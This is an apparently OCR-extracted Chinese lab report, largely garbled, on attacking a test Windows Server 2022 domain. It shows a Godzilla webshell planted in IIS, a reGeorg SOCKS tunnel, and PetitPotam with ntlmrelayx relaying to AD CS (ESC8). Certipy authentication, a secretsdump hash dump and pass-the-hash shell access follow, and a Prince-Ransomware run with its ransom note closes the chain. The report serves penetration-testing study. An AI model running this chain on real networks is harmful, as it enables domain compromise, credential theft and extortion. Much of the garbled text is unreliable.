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(B 1

W Internet Infarmation Services (IIS) Manager

e T
W5 » Start Page

File View Help

LONNSEVIEE

& Start Page | -
--33 WIN-SEQEONK2140 (WIN-SE

Online resources

Connect to localhost 115 News and Informatic
Connect to a server... IIS Downloads
Connect to a site... IS Forums.
Connect to an application. TechNet

MSDN

ASP.NET News

\

IS News Enable IIS Newd

1IS News is disabled, click the Enable |IS Mews link to get the most recent online news,

Windows

(B 2)
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(3) + 8 4p T # g [P # kali ~ :# 3] Windows Server 2022

Windows Server 2022 Datacenter Evaluati
‘Windows Lice

L Type here to search

(B 3)
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BhfE 3§ @R EH
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(4)3% /g WebSell(Godzilla)

% P #% Windows Server (IIS 10) * %% Godzilla #7A& 4 e C# # &
WebShell a.ashx(®l 5, B 6) » & #-H 3 ¥ »> C:\inetpub\wwwroot > ¥ &
URL % http://192.168.0.200/a.ashx > (B 7)

|£| Shell Setting = O >
Basic Configuration Request configuration

URL ' http://127.0.0.1/a.ashxl

Password pass

Key key

Connection timeout 3000

Read timeout &0000

Proxy host

Proxy port

Remarks LocalTest

GROUP i

Proxy type MNO_PROXY >

Encoding UTF-2 v

Payload CShapDynamicPayload

Encryptor CSHAP_AES BASER4 b
Add Test connection

(Rl 5)

|£| Target Manage Configure About Plugin Godzilla V4.01 by: BeichenDream Github:https://github.com/BeichenDream/Godzilla — O
Grouping id url payload cryption encoding proxyType remark createTime updateTi
4 3d87922e-ecTe-... http://127.0.0.1/... CShapDynamic.. CSHAP_AES BA.. UTF-8 NO_PROXY Remarks 2025-05-22 06:1... 2025-05-22

(F® 6)
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= | wwwroot - O

] swe s
5 [] & . X =] Tnenten- [

7] easy secess =
NntoQuick Copy Paste Delete Rename  New Froperties
access B falder &

H sevectan

Select none

{7 tmwert selection
Clipbaard Organize New Open Select
L

« © 4 (L5 THiSPC » LocalDisk(C) » inetpub > wwwroot v ©

¥ Downlosds # A Name Date modified

4| Documents # s

& Pictures # e
Godzilla-master @ iisstarthem
PetitPotam 3 a.ashe
System3) aspnet_client

root D © 1osvesh x == - 0o

I This PC < G @ 127.00./aashx
3 30 Objects

1B Desitop

Documents

4 Downloads

D Music

&) Pictures

B Videos

= LocalDisk(C)

(R 7

e ¥ Kali ¢ feds Godzilla > * 22 WebShell - &k % (Password :
pass ~ Key : key ~ Payload : CShapDynamicPayload ~ Encrypter :
CSHAP_AES_BASE64 ) 2= = st 4 o = # @ & {2 > Godzilla /i &7 P 1 7%
BB L uFno /E’éi%m@:‘?—‘ﬁ e BB JIS e * 425 B RIRELI T & £ o
4 o (R 8)

b BB e e B 5 AD CS s (4 reGeorg HH
PetitPotamintlmrelayx) ez # 4l g -

HitlEE WREE

URL http://192.168.0.200/a.ashx
=5 pass
= key
ERAEe 3000
iREEAY 60000
REEH
REEO 0
it
GROUP /
Me 0 ShellcodeLoader SuperTermial HinpPr lemon  EfsPotate  Mimikaiz BadPoiato ShapWed  PortStan  SocksPr

fiExm NO_PROXY z e BERIT - XHEE e R R iz Lo ’ HEEENE ? z
!a UTF-8 = 2\ ndows ;€ : \ Wi nday Wham; C: o Shallivl. 0\ €2 \Windows\ Systen32y
BHHE CShapDynamicPayload ~
mnEE CSHAP_AES_BASE64 v JSES WSF; WEH; MSC

L = Wit

o
ws\Sys tema2\Orivers\Driverbata
tpub\temp)apppanLs\Defaul 1appraal yDef aul tappPaal . config

igksystanprofi

(®8)
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(5) - kali * # * reGeorg = = HITP *%if & SOCKS 12
A gaf_ ASP.NET %k & &0 tunnel. aspx o w2 &_:
1. # reGeorg % % ¥ ¢ tunnel.aspx 4 @I p & FPILE -
2. 4+ vkig IS engesbp & o bilde
C:\inetpub\wwwroot\tunnel. aspx °
3. i Windows Server } BT E > & »
http://127.0.0.1/tunnel. aspx & {7pl:& - (8 10)

|- [~/reGeorg
reGeorgSocksProxy.py —url http://192.168.0.200/tunnel.aspx -1 127.0.0.1

to [INFO]
server [127.0.0.1:1@88], tummel at [http://192.168.0 tunne

t
cks

r if Georg is ready
ays, 'All seems fine®

(R’ 9

i @ localhost/tunnel.aspx X @ googlew - Search ® |L EE - Google ERER % | 3 — o %
&< (O | @ localhost/tunnelaspx a 7 ¢ ;/s zo . ﬁ

Georg says, "All seems fine'

(B 10)
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P AP FRRE N i

Kali (127.0.0.1:1080 SOCKS) —

reGeorg Python #r+& —

HTTP # 4<% 3] http://192.168.0.200/tunnel. aspx —

4 tunnel.aspx 7% Web Server p#RFstz=> TCP s - (B 9)

s r &P Hs 12 (bl4e nmap ~ curl) F =~ 4_ 127.0.0.1:1080 7 SOCKS
[REL A ﬂ“ﬁ-‘&g R ARERCRCRE R S M o sl

(6) 355 F B 445 ehp R4 8

proxychains4 nmap -Pn -p 445, 3389 192.168.0.0/24

#_Kali — reGeorg tunnel — p % #F A £ 192.168.0.0/24 > 45 SMB (445)
f= RDP (3389) - (@] 11, B 12)

[~/reGeorg]
nmap -P » 445,3389 192.168.8.0/24

[pr

[pr chai preloading
[pr chail DLL init: pr
(proxychai

LPT

Starting Nmap 7.95 { https
Nmap scan report for dewvic
Host is up (@.811s later

PORT STATE SERVICE
445/tcp closed microsoft-ds
189/tcp closed ms-wbt-se
Address: @4:BA:D6:FD: 2F (D-Link)

Nmap scan report for 192
Host is up (0.88812s la

PORT STATE SERVICE
cp  open microsoft-ds
/tcp filtered ms
MAC Address: @0:2B:67:2C: (LCFC(HeFei) Electronics Technology)

Mmap scan report for iPhone (192.168.8.15@)
Host is up (©.892s latency).

(B 1D
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b= = = = i

TRV TR TR T

Nmap
Host

PORT
8445/tcp
MAC

Nmap done: 1 IP address (1 host up) s

Addre

cp
MAC Address:
Nmap scan re
Host is up (
PORT STATE
closed

MAC

Address: 56: (Unknown)
Nmap scan report for
Host is up (@.012s later

.200

PORT STATE
cp open
: cp clo
C Address:

SERVICE

.168.0.199)
7s latency).

Nmap scan report for kali
Host is up (@.

SERVIC
micro

E
50
ms-wbt-

ft-
5t

B

(7) 22t w 3] Windows Server (192.168.0.200) 3= 445 3¢ #iE2 >
¥ Kali 3 - /e d® =7 o e 192.168.0.200:8445 e 5= 7 &
# 3] 192.168.0.106:445 > % reGeorg + Portproxy erit# g & §iE =
# o (B 13)

A

-[~/reGeorg
nmap -F

config file found:
preloadi usr/lib
DLL init: pro
DLL init: pro
DLL init: pro
7.95 ( https:

rt for 192.168.0.
B.00054s late

86 _64-linux-gnu/Llibpr
chains-ng 4.17
i
T T

[ R W W
— I — I — I — |

=
L T R s B T 1 |
[ S S S .

TATE SERYICE
. cop
B@:0c ware )

d in ©.16 seconds

(F13)
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(8) X444 & PetitPotam %~ (] 14)

to dump s

—sccm-policies-sl

M Distribution Point atta ptions:
—sccm—-dp : M Distribution Point
dump from amn

_dp_smsp talib*®

M_DP_EXTENSIONS

custom list of extensions look for when
downloading fil om the Distribution Po
If not pro aults
.psl,.bat, .xml, .t

—sccm-dp-files DP_FILES

The path to a f1i cont ing a list of specif
URLs to download from the Distribution Point,
instead of downloading by extensions. Prowviding
this argument will skip file

(@® 14)

(9) % % AD DS(Active Directory Domain Services) (B 15, @ 16)

SEerv

(B 15)

EX Administrator: Windows PowerShell - O x
Install-ADDSForest

validating environment and user input
All tests completed successfully
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000]
ing new forest
Waiting for DNS installation to finish

ion for this DNS server n D reated because the authori iv ne cannot be found or it
not run Windows DNS If ) i ting with an existing DNS i rou should manually
tion to this DNS s ne to ensure reliable name resolution from ocutside the domain
. Otherwise, no action is require

domain controllers h a default for the ity setting named "Allo
ith Windows - v s cer crypt y algorithms when establish

this DNS server nnot be i nnot be found or it
n Windows DNS server. If you are inte i rou should manually
gation to this DI er in the par 5 om outside the domain
. Otherwise, no action is required.

(¥ 16)
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(10) % %_Active Directory Certificate Services(ADCS)Z & (B 17) »
#&%_AD CS Web Enrollment 3 #c* fo3 s 425 - (B 18)

Import-Module ADCSDeploy
Install-AdcsCertificationAuthority

(B 17)

1] |a EwAL X |:.":= Page not X | Git-Dow X |- Releasell X |Z:_:7'- Relessel. X @) Microsof x = O

& O | @ localhost/certsry/ a oA o (g_
Microsoft Active Directory Cerfificate Services — fake-WIN-SEOEONK2140-CA

Welcome

Use this Web site to request a certificate for your Web browser, e-mail client, or other program. By using a certificate, you can verify your identity to people you
communicate with over the Web, sign and encrypt messages, and, depending upon the type of certificate you request, perform other security tasks.

You can also use this Web site to download a certificate authority (CA) certificate, certificate chain, or certificate revocation list (CRL), or to view the status of a
pending request.

For more information about Active Directory Certificate Services, see Active Directory Certificate Services Documentation.

Select a task:
Request a certificate
View the status of a pending_certificate request
Download a CA certificate, certificate chain_or CRL

(¥ 18)
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(11) = kali * & Exd = 8 fzé ntlmrelayx. py

& Kali Fkx® ntlmrelayx > % SMB PR B> 445 3% > & % relay P
Hhtg @5 DC 1 &9 AD CS Web /i

http://192.168. 0. 200/certsrv/certfnsh. asp » F P& T_i# * p & ESC8-
New ! 43#7'\ JPFF ntlmrelayx ¢ et TEFds ) ks> &5 @2/ NTLM
HECT S g pdEE AD CSe (B 19)

-_-'mpacket
!examples,’nt‘lmrelayn py
192 . 16¢ v/ ['-'._irl h.asp \

8912.114226.b742bd4d - Copyright Fortra, LLC and its affaliated compani

(¥ 19)

(12) & PetitPotam sz# © 5= # ff %

% PetitPotam %4 % DC # ¥ EFSRPC 3+ (% \PIPE\lsarpc §:if ) -
wrh ¢ & £ DC 55— B =3 Kali SMB Lje o 1 DC A AEARY 4B
;%I{%t—fgm SMB # PR ZE:& {7 NTLM =% - '@sa] g F| o BEAR
EfsRpcOpenFileRaw @ 4% i3 4 » ez # EstchncryptFlleSrv i E‘Eﬁ"m?fﬁﬁﬂ
er7 ERROR_BAD _NETPATH » % 7 B& /S B2 28 % 13 &> & NTLM 3@ e #3344 > 5
# 4 2z (B 20)

21



alic =/Petit Potam

EE BF S8 WK\ EE

~/PetitPotam

datam.py

at

(¥ 20)

Protocol
Protocol
Protocol
Protoc
Prot
Prot
Protocol
Prot 2
Protocol
Protocol
Protocol
Protocol

: up ¢ 5
g up | r port 5¢

g up Wi ) 'y on port
up

5]

inst http

22



(SMB): Received connection from 192.168. 0. 199
— B SMB PR B Rk p 192.168.0.199 g s o
e Authenticating connection from
FAKE. LOCAL/ADMINISTRATOR@192. 168. 0. 199 against
http://192.168. 0. 200 SUCCEED
— = # 4 TFAKE. LOCAL\Administrator ; # NTLM 3t relay #| AD
CS 7 web enroll F &
fom eSS MaEs:
e Generating CSR...
e Getting certificate...
e GOT CERTIFICATE! ID 3
e VWriting PKCSI12 certificate to . /ADMINISTRATOR. pfx
e Certificate successfully written to file
24
« ntlmrelayx i+ * Administrator ¥ 4 > % AD CS ¥ 37 - %G #
(* ESC8 "33 template) -
o 3 iTEIEHIT private key 3¢ - B .pfx & F & Kali & -
e iz ADMINISTRATOR. pfx 2 {6 ¥ 12 Z % certipy & Rubeus ’ # =¥ 11
% » DC =0 TGT / Kerberos ¥ 4 - (1 21)

=

(14) * .pfx # 3] TGT & NT Hash

v —( [~/impacket
d auth -pfx ADMINISTRATOR.pfx

b435b51404ee: 18026

Fortra, LLC and its affiliated companies

[*] Dumping Domain
1 i the DRSU

b8d45a746216d52d615
2a7e6d1497a9

©25e154f767e52b13b3d




i# * certipy-ad auth i# P~ ADMINISTRATOR. pfx(®l 22)

e B i® Administrator # TGT (administrator. ccache)
e Pi® Administrator NT Hash (¥ #* ** pass—-the-hash)

¢ * secretsdump. py # fe NT Hash(® 22)

e A4 :192.168.0.200 (DC)
e ¥ dump DC (—just-dc)
e = # ®d Administrator ~ krbtgt % *&%.s Hash

(15) * hash £ 3] DC # PowerShell

~/impacket ]

dminlistratorm)l92.168.0.200

(B 23)

HlS\Bv3. 0 dialect used
— i;g}ji:‘ 2 F oo

Bl aunching semi-interactive shell
— impacket ¥ =B 1 - B X 3 ;% shell o

PS C:\>

— A& A 192.168.0.200 =5 Windows _* ¢ PowerShell #2 o (B 23)

24



PS C:\> lpconfag

Windows IP Configuration

Ethernet adapter Ethernet@:

Connection-specific DNS Suffix
Link-local IPv6 Address .

IPv4 Address.

Subnet Mask

Default Gat

3 k>

(B 24)
2 {5 % ipconfigdy 4 FER} 23 F =il DCo (M 24)
:‘Efi,ﬁx* 4 #. 7 # NT Hash (pass-the-hash) fi.%n“é 2 Administrator &F*FF

PowerShell » 4 {7z frdp £ -

(16)Prince-Ransomware #* % sT# fickt

TEH TR LN - BHRFEE e ] R E T2 R EH - A
T3 L mEBFRA T4 (HBELEF U5 R EAEHR A
AERHER 1 BRI B AR - BEARIS 2 FHEY LENORKET > b4
test_document. txt ~ important data.doc -~ project.pdf - photo. jpg Fr
data. xlsx ° SZEAHFF ARG R H 46 P & v &0 % LFRR SRS

i o (W 25)
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configuration

encryption
data.xlsx
7| decryptor.go
E go.mod
go.sum
important_data.doc
/| keygen.go
J maln.gu
photo jpg
| PRIVATE_KEY_BACKUP txt
B project.pdf
test_document.txt

(¥l 25)

Prince-Ransomware 8 % % - X L A 2 3 sk (F kAP o
keygen. go ~ PRIVATE_KEY BACKUP. txt &4 % % %ﬁ%’eﬁ%’g ) APt B

EHRPEFEFEE ST T H DN F o f AN B R FEFNARLS 0 R AT A

)

EATH L34 b B TR & (Blde test_document. txt. prince)> FE PR €

G R R RS SRR R F S A Y R 5 4R R o (F126)

DECRYPT_INSTRUCTIONS.txt
decryptor go

# go.mod

go.sum
important_dasta.doc
keygen.go
main.go

* phetoypg

PRIVATE_KEY_BACKUP txt

project.pdt
test_document trt prince

DECRYPT INSTRUCTIONS.tst - Notepad

“Hest_document.txt prnce - Notepag — O x [ it fomet Vew Hep
Fle Eda Format View Help seee-s-ee- Prince Ransomsare --
#Be3°0d10BMGD | #1] 1w AAE | 28xadVrpt=-Ta¥ ke & IhsO,y1n| 1" 1H}2RoR" @xD_DO
Pl (A2_8% €+ vé 4 ¥ *d YOUR FILES WAVE BEEN ENCRYPTED!
chld= 1[4 ap™ E| 10U, |+ ) bH6GAS" HaydsSPO0F1)] Ei6uG() -*sVASDRLEVEAa. 144" - XXSRahda€As1Y" , R{ Hya[-2h " IDI0TN i

What happened?
All your important files have been encrypted using military-grade algorithes.
The encryption is irreversible without the private key that only we possess.

What can 1 do?
To recover your files, you need to pay a ransom in Bitcoin.
The price depends on how quickly you contact us.

Contact email: prince_ransoa§tutanota.com
Bitcoin wallet: 1A1zP1eP5QGefi2DMPTFTLSSLan?DivfNa

IMPORTANT:
Do not modify encrypted files

- Do not try to decrypt using third-party tools

- Time is limited, contact us within 72 hours

We guarantee that after payment we will provide the decryption tool.
Prince Ransomsare ----- -

(1 26)

26




K/%ﬁ"c%ﬁ;ﬁ;if’l"‘lg#g

N
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L
A

4

DECRYPT_INSTRUCTIONS. txt o 4= B {6 ¥ 12 5 Tl & 4] %5 % 13 infe 3¢ R

P
g 3

Fogde o & RE T F e R (Blde Bitcoin) Hix~ R BHER HER

PR LRPER R P FEEIRR 0 S PTE AU R AT &

ERF(FI26) o Befsd g att A d- BEE B Y o (B 27)

MULATED RANSOMWARE
iis is a lab-only demo wallpaper.

Windows Server 2022

O Tuna hara tn caarrh
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Chapter 5 %#%

FPEIL LA BX 2OFRBRAE  BR - FIE R HF G BT F
AL o BB ﬁfi'«um\} Bz - B A% 0 & Windows Server 2022 F %
AD ~DNS~ £ 4c + AD Certificate Services (AD CS) » 3 Certification
Authority Ir" Web Enrollment = &t #%4% > 32 IS ‘éﬁé-’f‘ééﬁ’ Ex?ééﬁ
http://<P & [P>/certsrv/ ¥ & ¥ @& * o &% » A 4 [[S ¢
WebShell » * Godzilla #Fz:a® m:gied » 2. 18 * reGeorg #7 socks ¥
Wi o & Kali ¥ it p 2 - 3 FEE 24 o ¢ FE 4t ntlmnrelayx »
PetitPotam ~ Certipy i&#: 1 & » 3 f % AD CS &K 7 § 5 € J1Iechh ' -
% {6 * Prince-Ransomware b @BiEM R T TR DEH
SRS JUETI A

2&%%%ﬁ*iéii*$#“r—ﬁﬁiﬁﬂﬁﬁﬁﬁﬁJiJﬁﬂﬁ§°&iﬁ%f
AD~AD CS = IIS B 2 = > % L ML G4FA 3 4 0 bl4e HITP
403. 14 ~ 500. 19 ~ Appllcatmn Pool F* 3 ~ ASP # e i § 2. 8o — 13 34T
Az fd o M RATERE 4 AR P AL > R4 Ve g logo & EA
* Event Viewer fv PowerShell # X % - 1 & ks > H Godzilla ~
reGeorg ~ ntlmrelayx ~ PetitPotam ~ Certipy ~ Prince-Ransomware > & %k = &_
FEFRERR RR -8 I Vg v P st L A é PR — e
2k &y B A Prince 7RE 0 B g DA E 2IVEFE TR RS
P ERPM A VL HEBR —E;E“%?@EP'%hruﬁ °

FROERFEIEL G A EAE G o RAREIRBETATLH 0 R EVRR

X ERREAKSEBH A 0 FEB certsrv RV A T E K ok

Fonfep gy BEBHEH o FAN ko B T-gER ) AR

Boit o F b ip g BRA I "I’J:«‘} FF@\J PR A A R

ﬁ’\. B2 PR log~EDR & SIEM - sddgid k> g7 3
F‘\ﬂ,wgﬁ RS o

ok 2 S RGP E UV ERYED >  AFEFTUAS B3I wdn - BEAF TR
ARIIIR R P I > E A - B ﬁ»ifuép VM E-pe ~ B H T s
YN WAL EATRerR TP ELERS D, V- BES - L FH
RN o GlAe A T AR AT By T I vTe A > RE B Nk
FEH DGR - ReEraFer n L TRepe 5, 2 R¥FL R T
RY E Ao
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